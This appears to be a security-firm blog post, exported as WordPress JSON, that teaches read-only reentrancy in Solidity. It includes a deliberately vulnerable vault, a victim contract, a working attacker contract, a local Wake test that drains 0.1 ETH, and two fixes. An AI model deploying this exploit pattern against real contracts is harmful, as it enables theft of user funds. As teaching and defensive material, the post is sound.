These reentrancy example blogs describe attacks on general functions. But in a read-only reentrancy attack, the vulnerabilities are in the view function.<\/p>\n
In this attack, the victim contract depends on the view function of the vulnerable contract and it decides the price by that view function.<\/p>\n
This is an example of a vulnerable contract:<\/p>\n
\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\n\n\ncontract VulnVault is ReentrancyGuard {\n\n uint256 private totalTokens;\n uint256 private totalStake;\n\n mapping (address => uint256) public balances;\n\n error ReadonlyReentrancy();\n\n function getCurrentPrice() public view returns (uint256) {\n if(totalTokens == 0 || totalStake == 0) return 10e18;\n return totalTokens * 10e18 \/ totalStake;\n }\n\n function deposit() public payable nonReentrant {\n uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n totalStake += msg.value;\n balances[msg.sender] += mintAmount;\n totalTokens += mintAmount;\n }\n\n function withdraw(uint256 burnAmount) public nonReentrant { \n uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n totalStake -= sendAmount;\n balances[msg.sender] -= burnAmount;\n (bool success, ) = msg.sender.call{value: sendAmount}("");\n require(success, "Failed to send Ether"); \n totalTokens -= burnAmount;\n }\n}<\/code><\/pre>\nWe already have the\u00a0nonReentrant<\/code> modifier for all public, non-view functions. That prevents reentrancy attacks within this contract. Additionally, we prevent reentrancy by checking the value before writing after the external call related to the\u00a0burnAmount<\/code>. This ensures that reentrancy is not possible within this contract.<\/p>\nHowever, if the getCurrentPrice<\/code> function is called at the external call of withdrawal, the getCurrentPrice<\/code> function returns a different value. Since at that moment the totalTokens<\/code> value is different from the actual, this is a problem. Furthermore, if the getCurrentPrice<\/code>\u00a0function is called during the external call of\u00a0withdraw<\/code>, it may return a different value. This discrepancy arises because the\u00a0totalTokens<\/code>\u00a0value is not accurate at that moment, leading to potential issues.<\/p>\nIf a pool works similarly, using the getCurrentPrice<\/code> function, that\u00a0function might return a higher value than the actual price. This is problematic.<\/p>\nThis is the victim contract.<\/p>\n
\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\nimport ".\/VulnVault.sol";\n\n\ncontract VictimVault is ReentrancyGuard {\n VulnVault vulnVault;\n\n mapping (address => uint256) public balances;\n\n constructor(address vulnVaultAddress) {\n vulnVault = VulnVault(vulnVaultAddress);\n }\n\n function deposit() public payable nonReentrant {\n uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() \/ 10e18;\n balances[msg.sender] += tokenAmount;\n }\n\n function withdraw(uint256 tokenAmount) public nonReentrant {\n balances[msg.sender] -= tokenAmount;\n uint256 ethAmount = tokenAmount * 10e18 \/ vulnVault.getCurrentPrice();\n (bool success, ) = msg.sender.call{value: ethAmount}("");\n require(success, "Failed to send Ether"); \n }\n}<\/code><\/pre>\nthe ethAmount<\/code> depends on vulnVault.getCurrentPrice<\/code> in the withdraw<\/code> function.<\/p>\nAnd also the\u00a0deposit<\/code> function of the tokenAmount<\/code>\u00a0depends on vulnVault.getCurrentPrice<\/code>.<\/p>\nso if the vulnVault.getCurrentPrice<\/code> is different from the actual value, the attacker can get benefits.<\/p>\nExample of a read-only reentrancy attack<\/h2>\n
If we do as follows:<\/p>\n
\n- Call
VulnVault.withdraw<\/code>.<\/li>\n- In the external call, call the
VictimVault.deposit<\/code>\u00a0function<\/li>\n<\/ol>\nThe\u00a0vulnVault.getCurrentPrice<\/code> returns an incorrect value, moreover bigger than the actual value since totalTokens<\/code> is still not updated. Because the calculation inside of getCurrentPrice<\/code> is computed by\u00a0totalTokens * 10e18 \/ totalStake<\/code>, the numerator has a larger value.<\/p>\nTherefore, by calling the VictimVault.deposit<\/code> function in the external call, an attacker can benefit.<\/p>\nAttacker contract<\/h3>\n
This is the attack contract:<\/p>\n
\/\/ SPDX-License-Identifier: None\npragma solidity 0.8.20;\n\nimport ".\/VictimVault.sol";\nimport ".\/VulnVault.sol";\n\n\ncontract Attacker {\n\n VulnVault public vulnVault;\n\n VictimVault public victimVault;\n\n uint256 public counter;\n\n constructor(address vulnerable_pool, address victim_pool) payable {\n vulnVault = VulnVault(vulnerable_pool);\n victimVault = VictimVault(victim_pool);\n counter = 0;\n }\n\n function attack() public {\n vulnVault.deposit{value: 1e18}();\n vulnVault.withdraw(1e18);\n uint256 balance = victimVault.balances(address(this));\n victimVault.withdraw(balance);\n }\n\n receive() external payable {\n if(counter == 0){\n counter++;\n victimVault.deposit{value: 1e18}(); \n }\n }\n}<\/code><\/pre>\nExploit of a read-only reentrancy attack<\/h3>\nfrom wake.testing import *\n\nfrom pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault\nfrom pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault\nfrom pytypes.contracts.readonlyreentrancy.Attacker import Attacker\n\n@default_chain.connect()\ndef test_default():\n print("---------------------Read Only Reentrancy---------------------")\n vuln_pool = VulnVault.deploy() \n victim_pool = VictimVault.deploy(vuln_pool.address)\n vuln_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user\n victim_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user\n\n attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value="1 ether", from_=default_chain.accounts[0])\n\n print("Vault balance: ", victim_pool.balance)\n print("Attacker balance: ", attacker.balance)\n \n print("---------------------attack---------------------")\n tx = attacker.attack()\n print(tx.call_trace)\n\n print("Vault balance: ", victim_pool.balance) \n print("Attacker balance: ", attacker.balance)<\/code><\/pre>\nThis is the output of Wake<\/a>, our Ethereum testing framework. We can see the Vault balance changed from 10 ETH to 9.9 ETH. The attacker balance changed from 1 ETH to 1.1 ETH.<\/p>\n![\"\"](\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41.png\")
<\/pre>\nHow to prevent a read-only reentrancy attack?<\/h2>\nUse ReentrancyGuard<\/h3>\n
A simple reentrancy guard alone cannot prevent this attack. However, setting additional checks with a reentrancy guard can effectively prevent this type of attack.<\/p>\n
\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\n\n\ncontract VulnVault is ReentrancyGuard {\n\n uint256 private totalTokens;\n uint256 private totalStake;\n\n mapping (address => uint256) public balances;\n\n error ReadonlyReentrancy();\n\n function getCurrentPrice() public view returns (uint256) {\n if(_reentrancyGuardEntered()){\n revert ReadonlyReentrancy();\n }\n if(totalTokens == 0 || totalStake == 0) return 10e18;\n return totalTokens * 10e18 \/ totalStake;\n }\n\n function deposit() public payable nonReentrant {\n uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n totalStake += msg.value;\n balances[msg.sender] += mintAmount;\n totalTokens += mintAmount;\n }\n\n function withdraw(uint256 burnAmount) public nonReentrant { \n uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n totalStake -= sendAmount;\n balances[msg.sender] -= burnAmount;\n (bool success, ) = msg.sender.call{value: sendAmount}("");\n require(success, "Failed to send Ether"); \n totalTokens -= burnAmount;\n }\n}<\/code><\/pre>\nCEI (checks-effects-interactions)<\/h3>\n
This prevention solves the cause of the vulnerability, because it makes the necessary state change before the external call. So, including the view function, it returns a trusted value even if it is called recursively.<\/p>\n
\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\n\n\ncontract VulnVault is ReentrancyGuard {\n\n uint256 private totalTokens;\n uint256 private totalStake;\n\n mapping (address => uint256) public balances;\n\n error ReadonlyReentrancy();\n\n function getCurrentPrice() public view returns (uint256) {\n if(totalTokens == 0 || totalStake == 0) return 10e18;\n return totalTokens * 10e18 \/ totalStake;\n }\n\n function deposit() public payable nonReentrant {\n uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n totalStake += msg.value;\n balances[msg.sender] += mintAmount;\n totalTokens += mintAmount;\n }\n\n function withdraw(uint256 burnAmount) public nonReentrant { \n uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n totalStake -= sendAmount;\n balances[msg.sender] -= burnAmount;\n totalTokens -= burnAmount;\n (bool success, ) = msg.sender.call{value: sendAmount}("");\n require(success, "Failed to send Ether"); \n }\n}<\/code><\/pre>\nConclusion<\/h2>\n
This is an example of a read-only reentrancy attack. In this contract, the vulnerability is trivial. However, in real-world projects, these vulnerabilities are often more subtle and complex, hidden within complex contract interactions and state management. Understanding this attack vector lets you identify similar patterns in more sophisticated DeFi protocols where price oracle manipulations or stale state readings could lead to significant financial losses.<\/p>\n
We have a Reentrancy Examples Github Repository<\/a> with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods. Read them below to learn how to secure your protocol.<\/span><\/p>\n\n- Single-function reentrancy<\/a><\/li>\n
- Cross-function reentrancy<\/a><\/li>\n
- Cross-contract reentrancy<\/a><\/li>\n
- Read-only reentrancy<\/a><\/li>\n
- Cross-chain reentrancy<\/a><\/li>\n
- ERC-721 reentrancy<\/a><\/li>\n
- ERC-777 reentrancy<\/a><\/li>\n
- Flash loan reentrancy<\/a><\/li>\n
- ERC-1155 reentrancy<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"
A read-only reentrancy attack uses the view function and reentrancy feature to manipulate smart contracts and extract value. The view function returns the value in the middle of state changes, which allows the attacker to manipulate the token price. Let’s take a closer look at this vulnerability and how to prevent it. Other reentrancy attacks include: Single Function Reentrancy Attack Cross Function…<\/p>\n","protected":false},"author":24,"featured_media":852,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,10,84,63,103],"tags":[14,86,138],"class_list":["post-757","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-ethereum","category-hacks","category-tutorial","category-wake","tag-exploit","tag-hack","tag-reentrancy-attack"],"aioseo_notices":[],"featured_image_src":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Read-Only-Reentrancy-Attack-600x400.png","featured_image_src_square":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Read-Only-Reentrancy-Attack-600x600.png","author_info":{"display_name":"Naoki Yoshida","author_link":"https:\/\/ackee.xyz\/blog\/author\/naoki-yoshida\/"},"_links":{"self":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/757","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/comments?post=757"}],"version-history":[{"count":0,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/757\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media\/852"}],"wp:attachment":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media?parent=757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/categories?post=757"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/tags?post=757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}